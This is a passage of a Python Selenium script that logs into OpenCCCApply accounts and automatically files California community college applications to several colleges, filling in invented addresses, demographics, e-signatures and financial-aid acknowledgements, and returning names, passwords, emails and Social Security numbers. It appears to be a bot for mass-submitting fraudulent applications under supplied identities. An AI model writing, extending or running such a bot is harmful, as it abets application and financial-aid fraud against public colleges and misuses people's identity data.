driver.find_element_by_id("inputRaceEthnicity800").click() 824 | time.sleep(1) 825 | driver.find_element_by_id("inputRaceEthnicity806").click() 826 | time.sleep(1) 827 | driver.find_element_by_name("_eventId_continue").click() 828 | time.sleep(1) 829 | # supplemental 830 | try: 831 | element = WebDriverWait(driver, 60).until( 832 | EC.presence_of_element_located((By.ID, "_supp_TEXT_1")) 833 | ) 834 | except: 835 | print("Unable to open supplemental page, restarting bot.") 836 | pass 837 | driver.find_element_by_id("_supp_TEXT_1").send_keys(first) 838 | driver.find_element_by_id("_supp_TEXT_2").send_keys(last) 839 | driver.find_element_by_id("_supp_TEXT_3").send_keys("54412") 840 | time.sleep(1) 841 | driver.find_element_by_id("_supp_TEXT_4").send_keys(number) 842 | driver.find_element_by_id("_supp_TEXT_6").send_keys(street) 843 | driver.find_element_by_id("_supp_TEXT_8").send_keys(city) 844 | time.sleep(1) 845 | driver.find_element_by_id("_supp_TEXT_9").send_keys(zipcode) 846 | relation = Select(driver.find_element_by_id('_supp_MENU_1')) 847 | relation.select_by_value('N') 848 | state = Select(driver.find_element_by_id('_supp_STATE_1')) 849 | state.select_by_value('CA') 850 | driver.find_element_by_name("_eventId_continue").click() 851 | time.sleep(1) 852 | 853 | # submisson 854 | try: 855 | element = WebDriverWait(driver, 60).until( 856 | EC.presence_of_element_located((By.ID, "inputConsentYes")) 857 | ) 858 | except: 859 | print("Unable to open submisson page, restarting bot.") 860 | pass 861 | time.sleep(0.5) 862 | driver.find_element_by_id("inputConsentYes").click() 863 | time.sleep(1) 864 | 865 | driver.find_element_by_id("inputESignature").click() 866 | driver.find_element_by_id("inputFinancialAidAck").click() 867 | print("[*] Sleeping 25 seconds!") 868 | time.sleep(25) 869 | driver.find_element_by_id("submit-application-button").click() 870 | time.sleep(5) 871 | driver.find_element_by_name("_eventId_finish").click() 872 | time.sleep(1) 873 | 874 | driver.find_element_by_id("inputEnglishSatisfied").click() 875 | driver.find_element_by_id("RecommendYes").click() 876 | driver.find_element_by_name("_eventId_submit").click() 877 | 878 | time.sleep(1) 879 | driver.quit() 880 | time.sleep(3) 881 | 882 | return (name, pw, email, first, last, ssn, number) 883 | 884 | 885 | def barbara(name, pw, email, first, last, number, ssn, street, city, zipcode): 886 | 887 | driver = webdriver.Firefox(executable_path=geckopath) 888 | driver.get( 889 | "https://www.opencccapply.net/uPortal/f/u63l1s1000/normal/render.uP") 890 | time.sleep(1) 891 | driver.find_element_by_id("loginTab").click() 892 | try: 893 | element = WebDriverWait(driver, 60).until( 894 | EC.presence_of_element_located((By.ID, "inputJUsername")) 895 | ) 896 | except: 897 | print("Unable to open signin page, restarting bot.") 898 | pass 899 | driver.find_element_by_id("inputJUsername").send_keys(name) 900 | time.sleep(1) 901 | driver.find_element_by_id("inputJPassword").send_keys(pw) 902 | driver.find_element_by_name("_eventId_proceed").click() 903 | try: 904 | element = WebDriverWait(driver, 60).until( 905 | EC.presence_of_element_located((By.ID, "beginApplicationButton")) 906 | ) 907 | except: 908 | print("Unable to login, restarting bot.") 909 | pass 910 | try: 911 | driver.find_elements_by_css_selector(".btn-primary")[3].click() 912 | time.sleep(1) 913 | 914 | driver.find_element_by_id("delete-confirmation-ok-button").click() 915 | time.sleep(4.5) 916 | except: 917 | time.sleep(3) 918 | pass 919 | # collage auswahl 920 | collage = Select(driver.find_element_by_id('inputCollegeId')) 921 | time.sleep(1) 922 | collage.select_by_value('651') 923 | driver.find_element_by_id("beginApplicationButton").click() 924 | # enrollment 925 | try: 926 | element = WebDriverWait(driver, 60).until( 927 | EC.presence_of_element_located((By.ID, "inputEduGoal")) 928 | ) 929 | except: 930 | print("Unable to open enrollment page, restarting bot.") 931 | pass 932 | driver.find_elements_by_tag_name("option")[1].click() 933 | time.sleep(0.5) 934 | collage = Select(driver.find_element_by_id('inputEduGoal')) 935 | collage.select_by_value('F') 936 | time.sleep(1) 937 | driver.find_elements_by_tag_name("option")[25].click() 938 | driver.find_element_by_name("_eventId_continue").click() 939 | time.sleep(2) 940 | # account info 941 | try: 942 | element = WebDriverWait(driver, 60).until( 943 | EC.presence_of_element_located((By.ID, "inputStreetAddress1")) 944 | ) 945 | except: 946 | print("Unable to open account info page, restarting bot.") 947 | pass 948 | driver.find_element_by_id("inputStreetAddress1").send_keys(street) 949 | driver.find_element_by_id("inputCity").send_keys(city) 950 | state = Select(driver.find_element_by_id('inputState')) 951 | state.select_by_value('CA') 952 | driver.find_element_by_id("inputPostalCode").send_keys(zipcode) 953 | driver.find_element_by_name("_eventId_continue").click() 954 | try: 955 | driver.find_element_by_id("inputHsAttendance3").click() 956 | 957 | except: 958 | driver.find_element_by_id("messageFooterLabel").click() 959 | driver.find_element_by_id("inputAddressValidationOverride").click() 960 | driver.find_element_by_name("_eventId_continue").click() 961 | # education 962 | try: 963 | element = WebDriverWait(driver, 60).until( 964 | EC.presence_of_element_located((By.ID, "inputHsAttendance3")) 965 | ) 966 | except: 967 | print("Unable to open education page, restarting bot.") 968 | pass 969 | driver.find_elements_by_tag_name("option")[1].click() 970 | time.sleep(1) 971 | driver.find_elements_by_tag_name("option")[9].click() 972 | driver.find_element_by_id("inputHsAttendance3").click() 973 | driver.find_element_by_name("_eventId_continue").click() 974 | # military 975 | try: 976 | element = WebDriverWait(driver, 60).until( 977 | EC.presence_of_element_located((By.ID, "inputMilitaryStatus")) 978 | ) 979 | except: 980 | print("Unable to open military page, restarting bot.") 981 | pass 982 | driver.find_elements_by_tag_name("option")[1].click() 983 | time.sleep(1) 984 | s2 = Select(driver.find_element_by_id('inputMilitaryStatus')) 985 | s2.select_by_value('1') 986 | time.sleep(1) 987 | driver.find_element_by_name("_eventId_continue").click() 988 | driver.find_element_by_id("inputCaRes2YearsYes").click() 989 | driver.find_element_by_id("inputIsEverInFosterCareNo").click() 990 | time.sleep(1) 991 | driver.find_element_by_name("_eventId_continue").click() 992 | # needs 993 | try: 994 | element = WebDriverWait(driver, 60).until( 995 | EC.presence_of_element_located((By.ID, "inputEnglishYes")) 996 | ) 997 | except: 998 | print("Unable to open needs page, restarting bot.") 999 | pass 1000 | driver.find_element_by_id("inputEnglishYes").click() 1001 | driver.find_element_by_id("inputFinAidInfoNo").click() 1002 | time.sleep(1) 1003 | driver.find_element_by_id("inputAssistanceNo").click() 1004 | driver.find_element_by_id("inputAthleticInterest3").click() 1005 | time.sleep(1) 1006 | driver.find_element_by_name("_eventId_continue").click() 1007 | # demographic 1008 | try: 1009 | element = WebDriverWait(driver, 60).until( 1010 | EC.presence_of_element_located((By.ID, "inputGender")) 1011 | ) 1012 | except: 1013 | print("Unable to open demographic page, restarting bot.") 1014 | pass 1015 | gender = Select(driver.find_element_by_id('inputGender')) 1016 | gender.select_by_value('Male') 1017 | time.sleep(1) 1018 | 1019 | trans = Select(driver.find_element_by_id('inputTransgender')) 1020 | trans.select_by_value('No') 1021 | time.sleep(1) 1022 | sexual = Select(driver.find_element_by_id('inputOrientation')) 1023 | sexual.select_by_value('StraightHetrosexual') 1024 | 1025 | guard = Select(driver.find_element_by_id('inputParentGuardianEdu1')) 1026 | guard.select_by_value('3') 1027 | time.sleep(1) 1028 | guard2 = Select(driver.find_element_by_id('inputParentGuardianEdu2')) 1029 | guard2.select_by_value('Y') 1030 | 1031 | driver.find_element_by_id("inputHispanicNo").click() 1032 | 1033 | driver.find_element_by_id("inputRaceEthnicity800").click() 1034 | time.sleep(1) 1035 | driver.find_element_by_id("inputRaceEthnicity806").click() 1036 | time.sleep(1) 1037 | driver.find_element_by_name("_eventId_continue").click() 1038 | time.sleep(1) 1039 | # supplemental 1040 | try: 1041 | element = WebDriverWait(driver, 60).until( 1042 | EC.presence_of_element_located((By.ID, "_supp_MENU_1")) 1043 | ) 1044 | except: 1045 | print("Unable to open supplemental page, restarting bot.") 1046 | pass 1047 | supp1 = Select(driver.find_element_by_id('_supp_MENU_1')) 1048 | supp1.select_by_value('15') 1049 | 1050 | supp2 = Select(driver.find_element_by_id('_supp_MENU_2')) 1051 | supp2.select_by_value('01') 1052 | time.sleep(1) 1053 | 1054 | supp3 = Select(driver.find_element_by_id('_supp_MENU_3')) 1055 | supp3.select_by_value('7') 1056 | time.sleep(1) 1057 | supp5 = Select(driver.find_element_by_id('_supp_MENU_5')) 1058 | supp5.select_by_value('Y') 1059 | 1060 | supp4 = Select(driver.find_element_by_id('_supp_MENU_4')) 1061 | supp4.select_by_value('N') 1062 | 1063 | driver.find_element_by_name("_eventId_continue").click() 1064 | time.sleep(1) 1065 | 1066 | # submisson 1067 | try: 1068 | element = WebDriverWait(driver, 60).until( 1069 | EC.presence_of_element_located((By.ID, "inputConsentYes")) 1070 | ) 1071 | except: 1072 | print("Unable to open submission page, restarting bot.") 1073 | pass 1074 | driver.find_element_by_id("inputConsentYes").click() 1075 | time.sleep(1) 1076 | 1077 | driver.find_element_by_id("inputESignature").click() 1078 | driver.find_element_by_id("inputFinancialAidAck").click() 1079 | print("[*] Sleeping 25 seconds!") 1080 | time.sleep(25) 1081 | driver.find_element_by_id("submit-application-button").click() 1082 | time.sleep(5) 1083 | driver.find_element_by_name("_eventId_finish").click() 1084 | time.sleep(1) 1085 | 1086 | driver.find_element_by_id("inputEnglishSatisfied").click() 1087 | driver.find_element_by_id("RecommendYes").click() 1088 | driver.find_element_by_name("_eventId_submit").click() 1089 | 1090 | time.sleep(1) 1091 | driver.quit() 1092 | time.sleep(3) 1093 | 1094 | return (name, pw, email, first, last, ssn, number) 1095 | 1096 | 1097 | def Canada(name, pw, email, first, last, number, ssn, street, city, zipcode): 1098 | 1099 | driver = webdriver.Firefox(executable_path=geckopath) 1100 | driver.get( 1101 | "https://www.opencccapply.net/uPortal/f/u63l1s1000/normal/render.uP") 1102 | time.sleep(1) 1103 | driver.find_element_by_id("loginTab").click() 1104 | try: 1105 | element = WebDriverWait(driver, 60).until( 1106 | EC.presence_of_element_located((By.ID, "inputJUsername")) 1107 | ) 1108 | except: 1109 | print("Unable to open signin page, restarting bot.") 1110 | pass 1111 | driver.find_element_by_id("inputJUsername").send_keys(name) 1112 | time.sleep(1) 1113 | driver.find_element_by_id("inputJPassword").send_keys(pw) 1114 | driver.find_element_by_name("_eventId_proceed").click() 1115 | try: 1116 | element = WebDriverWait(driver, 60).until( 1117 | EC.presence_of_element_located((By.ID, "beginApplicationButton")) 1118 | ) 1119 | except: 1120 | print("Unable to login, restarting bot.") 1121 | pass 1122 | try: 1123 | driver.find_elements_by_css_selector(".btn-primary")[3].click() 1124 | time.sleep(1) 1125 | 1126 | driver.find_element_by_id("delete-confirmation-ok-button").click() 1127 | time.sleep(4.5) 1128 | except: 1129 | time.sleep(3) 1130 | pass 1131 | # collage auswahl 1132 | 1133 | collage = Select(driver.find_element_by_id('inputCollegeId')) 1134 | collage.select_by_value('371') 1135 | driver.find_element_by_id("beginApplicationButton").click() 1136 | # enrollment 1137 | try: 1138 | element = WebDriverWait(driver, 60).until( 1139 | EC.presence_of_element_located((By.ID, "inputEduGoal")) 1140 | ) 1141 | except: 1142 | print("Unable to open enrollment page, restarting bot.") 1143 | pass 1144 | driver.find_elements_by_tag_name("option")[1].click() 1145 | time.sleep(0.5) 1146 | collage = Select(driver.find_element_by_id('inputEduGoal')) 1147 | collage.select_by_value('F') 1148 | time.sleep(1) 1149 | driver.find_elements_by_tag_name("option")[25].click() 1150 | driver.find_element_by_name("_eventId_continue").click() 1151 | time.sleep(2) 1152 | # account info 1153 | try: 1154 | element = WebDriverWait(driver, 60).until( 1155 | EC.presence_of_element_located((By.ID, "inputStreetAddress1")) 1156 | ) 1157 | except: 1158 | print("Unable to open account info page, restarting bot.") 1159 | pass 1160 | driver.find_element_by_id("inputStreetAddress1").send_keys(street) 1161 | driver.find_element_by_id("inputCity").send_keys(city) 1162 | state = Select(driver.find_element_by_id('inputState')) 1163 | state.select_by_value('CA') 1164 | driver.find_element_by_id("inputPostalCode").send_keys(zipcode) 1165 | driver.find_element_by_name("_eventId_continue").click() 1166 | try: 1167 | driver.find_element_by_id("inputHsAttendance3").click() 1168 | 1169 | except: 1170 | driver.find_element_by_id("messageFooterLabel").click() 1171 | driver.find_element_by_id("inputAddressValidationOverride").click() 1172 | driver.find_element_by_name("_eventId_continue").click() 1173 | # education 1174 | try: 1175 | element = WebDriverWait(driver, 60).until( 1176 | EC.presence_of_element_located((By.ID, "inputHsAttendance3")) 1177 | ) 1178 | except: 1179 | print("Unable to open education page, restarting bot.") 1180 | pass 1181 | driver.find_elements_by_tag_name("option")[1].click() 1182 | time.sleep(1) 1183 | driver.find_elements_by_tag_name("option")[9].click() 1184 | driver.find_element_by_id("inputHsAttendance3").click() 1185 | driver.find_element_by_name("_eventId_continue").click() 1186 | # military 1187 | try: 1188 | element = WebDriverWait(driver, 60).until( 1189 | EC.presence_of_element_located((By.ID, "inputMilitaryStatus")) 1190 | ) 1191 | except: 1192 | print("Unable to open military page, restarting bot.") 1193 | pass 1194 | driver.find_elements_by_tag_name("option")[1].click() 1195 | time.sleep(1) 1196 | s2 = Select(driver.find_element_by_id('inputMilitaryStatus')) 1197 | s2.select_by_value('1') 1198 | time.sleep(1) 1199 | driver.find_element_by_name("_eventId_continue").click() 1200 | driver.find_element_by_id("inputCaRes2YearsYes").click() 1201 | driver.find_element_by_id("inputIsEverInFosterCareNo").click() 1202 | time.sleep(1) 1203 | driver.find_element_by_name("_eventId_continue").click() 1204 | # needs 1205 | try: 1206 | element = WebDriverWait(driver, 60).until( 1207 | EC.presence_of_element_located((By.ID, "inputEnglishYes")) 1208 | ) 1209 | except: 1210 | print("Unable to open needs page, restarting bot.") 1211 | pass 1212 | driver.find_element_by_id("inputEnglishYes").click() 1213 | driver.find_element_by_id("inputFinAidInfoNo").click() 1214 | time.sleep(1) 1215 | driver.find_element_by_id("inputAssistanceNo").click() 1216 | driver.find_element_by_id("inputAthleticInterest3").click() 1217 | time.sleep(1) 1218 | driver.find_element_by_name("_eventId_continue").click() 1219 | # demographic 1220 | try: 1221 | element = WebDriverWait(driver, 60).until( 1222 | EC.presence_of_element_located((By.ID, "inputGender")) 1223 | ) 1224 | except: 1225 | print("Unable to open demographic page, restarting bot.") 1226 | pass 1227 | gender = Select(driver.find_element_by_id('inputGender')) 1228 | gender.select_by_value('Male') 1229 | time.sleep(1) 1230 | 1231 | trans = Select(driver.find_element_by_id('inputTransgender')) 1232 | trans.select_by_value('No') 1233 | time.sleep(1) 1234 | sexual = Select(driver.find_element_by_id('inputOrientation')) 1235 | sexual.select_by_value('StraightHetrosexual') 1236 | 1237 | guard = Select(driver.find_element_by_id('inputParentGuardianEdu1')) 1238 | guard.select_by_value('3') 1239 | time.sleep(1) 1240 | guard2 = Select(driver.find_element_by_id('inputParentGuardianEdu2')) 1241 | guard2.select_by_value('Y') 1242 | 1243 | driver.find_element_by_id("inputHispanicNo").click() 1244 | 1245 | driver.find_element_by_id("inputRaceEthnicity800").click() 1246 | time.sleep(1) 1247 | driver.find_element_by_id("inputRaceEthnicity806").click() 1248 | time.sleep(1) 1249 | driver.find_element_by_name("_eventId_continue").click() 1250 | time.sleep(1) 1251 | 1252 | # submisson 1253 | try: 1254 | element = WebDriverWait(driver, 60).until( 1255 | EC.presence_of_element_located((By.ID, "inputConsentYes")) 1256 | ) 1257 | except: 1258 | print("Unable to open submission page, restarting bot.") 1259 | pass 1260 | driver.find_element_by_id("inputConsentYes").click() 1261 | time.sleep(1) 1262 | 1263 | driver.find_element_by_id("inputESignature").click() 1264 | driver.find_element_by_id("inputFinancialAidAck").click() 1265 | print("[*] Sleeping 25 secounds!") 1266 | time.sleep(25) 1267 | driver.find_element_by_id("submit-application-button").click() 1268 | time.sleep(5) 1269 | driver.find_element_by_name("_eventId_finish").click() 1270 | time.sleep(1) 1271 | 1272 | driver.find_element_by_id("inputEnglishSatisfied").click() 1273 | driver.find_element_by_id("RecommendYes").click() 1274 | driver.find_element_by_name("_eventId_submit").click() 1275 | 1276 | time.sleep(1) 1277 | driver.quit() 1278 | time.sleep(3) 1279 | 1280 | return (name, pw, email, first, last, ssn, number) 1281 | 1282 | 1283 | def Solano(name, pw, email, first, last, number, ssn, street, city, zipcode): 1284 | 1285 | driver = webdriver.Firefox(executable_path=geckopath) 1286 | driver.get( 1287 | "https://www.opencccapply.net/uPortal/f/u63l1s1000/normal/render.uP") 1288 | time.sleep(1) 1289 | driver.find_element_by_id("loginTab").click() 1290 | try: 1291 | element = WebDriverWait(driver, 60).until( 1292 | EC.presence_of_element_located((By.ID, "inputJUsername")) 1293 | ) 1294 | except: 1295 | print("Unable to open signin page, restarting bot.") 1296 | pass 1297 | driver.find_element_by_id("inputJUsername").send_keys(name) 1298 | time.sleep(1) 1299 | driver.find_element_by_id("inputJPassword").send_keys(pw) 1300 | driver.find_element_by_name("_eventId_proceed").click() 1301 | try: 1302 | element = WebDriverWait(driver, 60).until( 1303 | EC.presence_of_element_located((By.ID, "beginApplicationButton")) 1304 | ) 1305 | except: 1306 | print("Unable to login, restarting bot.") 1307 | pass 1308 | try: 1309 | driver.find_elements_by_css_selector(".btn-primary")[3].click() 1310 | time.sleep(1) 1311 | 1312 | driver.find_element_by_id("delete-confirmation-ok-button").click() 1313 | time.sleep(4.5) 1314 | except: 1315 | time.sleep(3) 1316 | pass 1317 | 1318 | # collage auswahl 1319 | collage = Select(driver.find_element_by_id('inputCollegeId')) 1320 | collage.select_by_value('281') 1321 | driver.find_element_by_id("beginApplicationButton").click() 1322 | # enrollment 1323 | try: 1324 | element = WebDriverWait(driver, 60).until( 1325 | EC.presence_of_element_located((By.ID, "inputEduGoal")) 1326 | ) 1327 | except: 1328 | print("Unable to open enrollment page, restarting bot.") 1329 | pass 1330 | driver.find_elements_by_tag_name("option")[1].click() 1331 | time.sleep(0.5) 1332 | collage = Select(driver.find_element_by_id('inputEduGoal')) 1333 | collage.select_by_value('F') 1334 | time.sleep(1) 1335 | driver.find_elements_by_tag_name("option")[25].click() 1336 | driver.find_element_by_name("_eventId_continue").click() 1337 | # account info 1338 | try: 1339 | element = WebDriverWait(driver, 60).until( 1340 | EC.presence_of_element_located((By.ID, "inputStreetAddress1")) 1341 | ) 1342 | except: 1343 | print("Unable to open account info page, restarting bot.") 1344 | pass 1345 | driver.find_element_by_id("inputStreetAddress1").send_keys(street) 1346 | driver.find_element_by_id("inputCity").send_keys(city) 1347 | state = Select(driver.find_element_by_id('inputState')) 1348 | state.select_by_value('CA') 1349 | driver.find_element_by_id("inputPostalCode").send_keys(zipcode) 1350 | driver.find_element_by_name("_eventId_continue").click() 1351 | try: 1352 | driver.find_element_by_id("inputHsAttendance3").click() 1353 | 1354 | except: 1355 | driver.find_element_by_id("messageFooterLabel").click() 1356 | driver.find_element_by_id("inputAddressValidationOverride").click() 1357 | driver.find_element_by_name("_eventId_continue").click() 1358 | # education 1359 | try: 1360 | element = WebDriverWait(driver, 60).until( 1361 | EC.presence_of_element_located((By.ID, "inputHsAttendance3")) 1362 | ) 1363 | except: 1364 | print("Unable to open education page, restarting bot.") 1365 | pass 1366 | driver.find_elements_by_tag_name("option")[1].click() 1367 | time.sleep(1) 1368 | driver.find_elements_by_tag_name("option")[9].click() 1369 | driver.find_element_by_id("inputHsAttendance3").click() 1370 | driver.find_element_by_name("_eventId_continue").click() 1371 | # military 1372 | try: 1373 | element = WebDriverWait(driver, 60).until( 1374 | EC.presence_of_element_located((By.ID, "inputMilitaryStatus")) 1375 | ) 1376 | except: 1377 | print("Unable to open military page, restarting bot.") 1378 | pass 1379 | driver.find_elements_by_tag_name("option")[1].click() 1380 | time.sleep(1) 1381 | s2 = Select(driver.find_element_by_id('inputMilitaryStatus')) 1382 | s2.select_by_value('1') 1383 | time.sleep(1) 1384 | driver.find_element_by_name("_eventId_continue").click() 1385 | driver.find_element_by_id("inputCaRes2YearsYes").click() 1386 | driver.find_element_by_id("inputIsEverInFosterCareNo").click() 1387 | time.sleep(1) 1388 | driver.find_element_by_name("_eventId_continue").click() 1389 | # needs 1390 | try: 1391 | element = WebDriverWait(driver, 60).until( 1392 | EC.presence_of_element_located((By.ID, "inputEnglishYes")) 1393 | ) 1394 | except: 1395 | print("Unable to open needs page, restarting bot.") 1396 | pass 1397 | driver.find_element_by_id("inputEnglishYes").click() 1398 | driver.find_element_by_id("inputFinAidInfoNo").click() 1399 | time.sleep(1) 1400 | driver.find_element_by_id("inputAssistanceNo").click() 1401 | driver.find_element_by_id("inputAthleticInterest1").click() 1402 | time.sleep(1) 1403 | driver.find_element_by_name("_eventId_continue").click() 1404 | # demographic 1405 | try: 1406 | element = WebDriverWait(driver, 60).until( 1407 | EC.presence_of_element_located((By.ID, "inputGender")) 1408 | ) 1409 | except: 1410 | print("Unable to open demographic page, restarting bot.") 1411 | pass 1412 | gender = Select(driver.find_element_by_id('inputGender')) 1413 | gender.select_by_value('Male') 1414 | time.sleep(1) 1415 | 1416 | trans = Select(driver.find_element_by_id('inputTransgender')) 1417 | trans.select_by_value('No') 1418 | time.sleep(1) 1419 | sexual = Select(driver.find_element_by_id('inputOrientation')) 1420 | sexual.select_by_value('StraightHetrosexual') 1421 | 1422 | guard = Select(driver.find_element_by_id('inputParentGuardianEdu1')) 1423 | guard.select_by_value('3') 1424 | time.sleep(1) 1425 | guard2 = Select(driver.find_element_by_id('inputParentGuardianEdu2')) 1426 | guard2.select_by_value('Y') 1427 | 1428 | driver.find_element_by_id("inputHispanicNo").click() 1429 | 1430 | driver.find_element_by_id("inputRaceEthnicity800").click() 1431 | time.sleep(1) 1432 | driver.find_element_by_id("inputRaceEthnicity806").click() 1433 | time.sleep(1) 1434 | driver.find_element_by_name("_eventId_continue").click() 1435 | time.sleep(1) 1436 | # submental 1437 | try: 1438 | element = WebDriverWait(driver, 60).until( 1439 | EC.presence_of_element_located((By.ID, "_supp_CHECK_1")) 1440 | ) 1441 | except: 1442 | print("Unable to open submental page, restarting bot.") 1443 | pass 1444 | driver.find_element_by_id("_supp_CHECK_1").click() 1445 | driver.find_element_by_name("_eventId_continue").click() 1446 | # submisson 1447 | try: 1448 | element = WebDriverWait(driver, 60).until( 1449 | EC.presence_of_element_located((By.ID, "inputConsentYes")) 1450 | ) 1451 | except: 1452 | print("Unable to open submission page, restarting bot.") 1453 | pass 1454 | driver.find_element_by_id("inputConsentYes").click() 1455 | time.sleep(3) 1456 | 1457 | driver.find_element_by_id("inputESignature").click() 1458 | driver.find_element_by_id("inputFinancialAidAck").click() 1459 | print("[*] Sleeping 25 secounds!") 1460 | time.sleep(25) 1461 | driver.find_element_by_id("submit-application-button").click() 1462 | time.sleep(5) 1463 | driver.find_element_by_name("_eventId_finish").click() 1464 | time.sleep(1) 1465 | 1466 | driver.find_element_by_id("inputEnglishSatisfied").click() 1467 | driver.find_element_by_id("RecommendYes").click() 1468 | driver.find_element_by_name("_eventId_submit").click() 1469 | 1470 | time.sleep(1) 1471 | driver.quit() 1472 | time.sleep(3) 1473 | 1474 | return (name, pw, email, first, last, ssn, number) 1475 | 1476 | 1477 | def ccsf(name, pw, email, first, last, number, ssn, street, city, zipcode): 1478 | 1479 | driver = webdriver.Firefox(executable_path=geckopath) 1480 | driver.get( 1481 | "https://www.opencccapply.net/uPortal/f/u63l1s1000/normal/render.uP") 1482 | time.sleep(1) 1483 | driver.find_element_by_id("loginTab").click() 1484 | try: 1485 | element = WebDriverWait(driver, 60).until( 1486 | EC.presence_of_element_located((By.ID, "inputJUsername")) 1487 | ) 1488 | except: 1489 | print("Unable to open signin page, restarting bot.") 1490 | pass 1491 | driver.find_element_by_id("inputJUsername").send_keys(name) 1492 | time.sleep(1) 1493 | driver.find_element_by_id("inputJPassword").send_keys(pw) 1494 | driver.find_element_by_name("_eventId_proceed").click() 1495 | try: 1496 | element = WebDriverWait(driver, 60).until( 1497 | EC.presence_of_element_located((By.ID, "beginApplicationButton")) 1498 | ) 1499 | except: 1500 | print("Unable to login, restarting bot.") 1501 | pass 1502 | try: 1503 | driver.find_elements_by_css_selector(".btn-primary")[3].click() 1504 | time.sleep(1) 1505 | 1506 | driver.find_element_by_id("delete-confirmation-ok-button").click() 1507 | time.sleep(4.5) 1508 | except: 1509 | time.sleep(3) 1510 | 1511 | pass 1512 | # collage auswahl 1513 | collage = Select(driver.find_element_by_id('inputCollegeId')) 1514 | collage.select_by_value('361') 1515 | driver.find_element_by_id("beginApplicationButton").click() 1516 | # enrollment 1517 | try: 1518 | element = WebDriverWait(driver, 60).until( 1519 | EC.presence_of_element_located((By.ID, "inputEduGoal")) 1520 | ) 1521 | except: 1522 | print("Unable to open enrollment page, restarting bot.") 1523 | pass 1524 | driver.find_elements_by_tag_name("option")[1].click() 1525 | time.sleep(0.5) 1526 | collage = Select(driver.find_element_by_id('inputEduGoal')) 1527 | collage.select_by_value('F') 1528 | time.sleep(1) 1529 | driver.find_elements_by_tag_name("option")[25].click() 1530 | driver.find_element_by_name("_eventId_continue").click() 1531 | # account info 1532 | try: 1533 | element = WebDriverWait(driver, 60).until( 1534 | EC.presence_of_element_located((By.ID, "inputStreetAddress1")) 1535 | ) 1536 | except: 1537 | print("Unable to open account info page, restarting bot.") 1538 | pass 1539 | driver.find_element_by_id("inputStreetAddress1").send_keys(street) 1540 | driver.find_element_by_id("inputCity").send_keys(city) 1541 | state = Select(driver.find_element_by_id('inputState')) 1542 | state.select_by_value('CA') 1543 | driver.find_element_by_id("inputPostalCode").send_keys(zipcode) 1544 | driver.find_element_by_name("_eventId_continue").click() 1545 | try: 1546 | driver.find_element_by_id("inputHsAttendance3").click() 1547 | 1548 | except: 1549 | driver.find_element_by_id("messageFooterLabel").click() 1550 | driver.find_element_by_id("inputAddressValidationOverride").click() 1551 | driver.find_element_by_name("_eventId_continue").click() 1552 | # education 1553 | try: 1554 | element = WebDriverWait(driver, 60).until( 1555 | EC.presence_of_element_located((By.ID, "inputHsAttendance3")) 1556 | ) 1557 | except: 1558 | print("Unable to open education page, restarting bot.") 1559 | pass 1560 | driver.find_elements_by_tag_name("option")[1].click() 1561 | time.sleep(1) 1562 | driver.find_elements_by_tag_name("option")[9].click() 1563 | driver.find_element_by_id("inputHsAttendance3").click() 1564 | driver.find_element_by_name("_eventId_continue").click() 1565 | # military 1566 | try: 1567 | element = WebDriverWait(driver, 60).until( 1568 | EC.presence_of_element_located((By.ID, "inputMilitaryStatus")) 1569 | ) 1570 | except: 1571 | print("Unable to open military page, restarting bot.") 1572 | pass 1573 | driver.find_elements_by_tag_name("option")[1].click() 1574 | time.sleep(1) 1575 | s2 = Select(driver.find_element_by_id('inputMilitaryStatus')) 1576 | s2.select_by_value('1') 1577 | time.sleep(1) 1578 | driver.find_element_by_name("_eventId_continue").click() 1579 | driver.find_element_by_id("inputCaRes2YearsYes").click() 1580 | driver.find_element_by_id("inputIsEverInFosterCareNo").click() 1581 | time.sleep(1) 1582 | driver.find_element_by_name("_eventId_continue").click() 1583 | # needs 1584 | try: 1585 | element = WebDriverWait(driver, 60).until( 1586 | EC.presence_of_element_located((By.ID, "inputEnglishYes")) 1587 | ) 1588 | except: 1589 | print("Unable to open needs page, restarting bot.") 1590 | pass 1591 | driver.find_element_by_id("inputEnglishYes").click() 1592 | driver.find_element_by_id("inputFinAidInfoNo").click() 1593 | time.sleep(1) 1594 | driver.find_element_by_id("inputAssistanceNo").click() 1595 | driver.find_element_by_id("inputAthleticInterest1").click() 1596 | time.sleep(1) 1597 | driver.find_element_by_name("_eventId_continue").click() 1598 | # demographic 1599 | try: 1600 | element = WebDriverWait(driver, 60).until( 1601 | EC.presence_of_element_located((By.ID, "inputGender")) 1602 | ) 1603 | except: 1604 | print("Unable to open demographics page, restarting bot.") 1605 | pass 1606 | gender = Select(driver.find_element_by_id('inputGender')) 1607 | gender.select_by_value('Male') 1608 | time.sleep(1) 1609 | 1610 | trans = Select(driver.find_element_by_id('inputTransgender')) 1611 | trans.select_by_value('No') 1612 | time.sleep(1) 1613 | sexual = Select(driver.find_element_by_id('inputOrientation')) 1614 | sexual.select_by_value('StraightHetrosexual') 1615 | 1616 | guard = Select(driver.find_element_by_id('inputParentGuardianEdu1')) 1617 | guard.select_by_value('3') 1618 | time.sleep(1) 1619 | guard2 = Select(driver.find_element_by_id('inputParentGuardianEdu2')) 1620 | guard2.select_by_value('Y') 1621 | 1622 | driver.find_element_by_id("inputHispanicNo").click() 1623 | 1624 | driver.find_element_by_id("inputRaceEthnicity800").click() 1625 | time.sleep(1) 1626 | driver.find_element_by_id("inputRaceEthnicity806").click() 1627 | time.sleep(1) 1628 | driver.find_element_by_name("_eventId_continue").click() 1629 | time.sleep(1) 1630 | # submental 1631 | try: 1632 | element = WebDriverWait(driver, 60).until( 1633 | EC.presence_of_element_located((By.ID, "_supp_MENU_1")) 1634 | ) 1635 | except: 1636 | print("Unable to open submental page, restarting bot.") 1637 | pass 1638 | Select(driver.find_element_by_id("_supp_MENU_1")).select_by_value('ENG') 1639 | time.sleep(1) 1640 | Select(driver.find_element_by_id("_supp_MENU_5")).select_by_value('N') 1641 | Select(driver.find_element_by_id("_supp_MENU_6")).select_by_value('N') 1642 | Select(driver.find_element_by_id("_supp_MENU_4")).select_by_value('OPT2') 1643 | driver.find_element_by_id("_supp_CHECK_5").click() 1644 | time.sleep(1) 1645 | driver.find_element_by_name("_eventId_continue").click() 1646 | 1647 | # submisson 1648 | try: 1649 | element = WebDriverWait(driver, 60).until( 1650 | EC.presence_of_element_located((By.ID, "inputConsentYes")) 1651 | ) 1652 | except: 1653 | print("Unable to open submission page, restarting bot.") 1654 | pass 1655 | driver.find_element_by_id("inputConsentYes").click() 1656 | time.sleep(1) 1657 | 1658 | driver.find_element_by_id("inputESignature").click() 1659 | driver.find_element_by_id("inputFinancialAidAck").click() 1660 | print("[*] Sleeping 25 secounds!") 1661 | time.sleep(25) 1662 